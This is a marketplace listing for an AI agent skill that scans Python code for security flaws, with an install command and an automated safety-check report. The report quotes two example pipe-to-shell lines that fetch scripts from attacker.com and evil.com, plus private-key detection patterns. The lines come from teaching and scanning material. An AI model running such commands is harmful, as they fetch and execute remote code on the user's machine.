Skip to content
TrustedSkillsbeta
Back to all skills

Python Security Scan

Listed
sugarforever·vlatest·backend·MIT

Helps with Python, security as part of developing backend services and APIs workflows.

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

Installs under a different name. Its SKILL.md names it Python Security Scan, not the name it is listed under, so the command below uses that name.
  1. 1

    Run this in your project

    terminal
    $ npx skills add sugarforever/01coder-agent-skills --skill "Python Security Scan" -a claude-code
  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

sugarforever

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 2 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: attacker.com, evil.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    attacker.comundeclaredevil.comundeclared

    What it found

    • skills/python-security-scan/references/deserialization.md:57contacts attacker.com
      return (os.system, ('curl http://attacker.com/shell.sh | bash',))
    • skills/python-security-scan/references/injection-patterns.md:165contacts evil.com
      || wget http://evil.com/shell.sh | bash
  • No credential access: failed

    Touches credential material in 2 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • skills/python-security-scan/scripts/secret-scanner.py:183private key material
      "pattern": r"-----BEGIN RSA PRIVATE KEY-----",
    • skills/python-security-scan/scripts/secret-scanner.py:190private key material
      "pattern": r"-----BEGIN OPENSSH PRIVATE KEY-----",
  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 2 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found

    • skills/python-security-scan/references/deserialization.md:57remote script piped into a shell
      return (os.system, ('curl http://attacker.com/shell.sh | bash',))
    • skills/python-security-scan/references/injection-patterns.md:165remote script piped into a shell
      || wget http://evil.com/shell.sh | bash
  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • Pinned to a commit: passed

    Scanned sugarforever/01coder-agent-skills at e51fb6e74c.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Scanned
12 files, 5,497 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

The Python Security Scan skill analyzes Python code for common security vulnerabilities. It identifies potential issues like SQL injection, cross-site scripting (XSS), and insecure deserialization. The scan provides detailed reports highlighting the location and severity of each vulnerability found within the codebase.

When to use it

  • Before deployment: Integrate into your CI/CD pipeline to automatically check code for security flaws before releasing new versions.
  • Code review: Use during code reviews to proactively identify and address potential vulnerabilities early in the development process.
  • Security audits: Employ as part of a broader security audit to assess the overall security posture of a Python application.
  • Penetration testing preparation: Run before penetration tests to surface common issues that can be quickly remediated.

Key capabilities

  • Vulnerability scanning for Python code
  • Identification of SQL injection vulnerabilities
  • Detection of cross-site scripting (XSS) risks
  • Insecure deserialization detection
  • Detailed vulnerability reporting

Example prompts

  • "Scan this Python file for security vulnerabilities: [file_path]"
  • "Analyze the codebase in this repository and report any potential security issues."
  • “Find all instances of SQL injection vulnerabilities in this script.”

Tips & gotchas

The skill requires a valid Python environment to be available. The accuracy of the scan depends on the complexity of the code and may require manual verification of reported findings.